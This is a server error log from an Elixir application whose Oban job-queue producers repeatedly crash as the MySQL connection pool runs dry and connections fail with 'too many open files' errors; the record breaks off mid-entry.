State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:51:13.239826Z], limit: 50, uuid: "a263d554-cde5-4639-b4b1-eaf25222db95", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:13.239832Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238758>, refresh_timer: #Reference<0.2525715032.1099169794.246571>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:51:13.240641Z], limit: 3, uuid: "1fb58fc8-409c-4d5e-b45e-c7b674c0cec0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:13.240646Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238760>, refresh_timer: #Reference<0.2525715032.1077411843.222093>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:26.029000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:27.020000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:29.001000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:30.658000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:31.173000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:36.642000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:51:25.241816Z], limit: 20, uuid: "f79853dc-cd10-4001-aed1-73aa0faaa78f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:25.241822Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.97316>, refresh_timer: #Reference<0.2525715032.1121189889.97299>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:37.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:51:25.241750Z], limit: 10, uuid: "d42863d3-9602-408e-bb54-8454bac829a8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:25.241756Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.222336>, refresh_timer: #Reference<0.2525715032.1077411843.222321>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:51:25.241776Z], limit: 5, uuid: "8e782abc-c50b-4f38-9efd-69fce42be035", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:25.241781Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.97318>, refresh_timer: #Reference<0.2525715032.1099169794.246621>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:37.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:51:25.242015Z], limit: 3, uuid: "f4d95dd0-c741-4471-b3b8-3f32831a11f9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:25.242020Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.97317>, refresh_timer: #Reference<0.2525715032.1121189889.97307>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:51:25.242086Z], limit: 50, uuid: "59b3ad70-66c9-445f-871b-de3ab65294c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:25.242090Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.222337>, refresh_timer: #Reference<0.2525715032.1077411843.222335>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:37.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:51:25.242635Z], limit: 5, uuid: "02d89785-4767-42f2-a6cc-2e1dfca5828c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:25.242640Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.238982>, refresh_timer: #Reference<0.2525715032.1068236804.238974>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:51:37.449000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:38.631000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:40.535000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:41.409000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:42.288000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:42.561000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:43.339000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:48.521000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:51:49.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:51:37.238421Z], limit: 10, uuid: "5fccc920-f7f9-4e6a-8f61-1b539da1d330", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:51:37.238428Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: 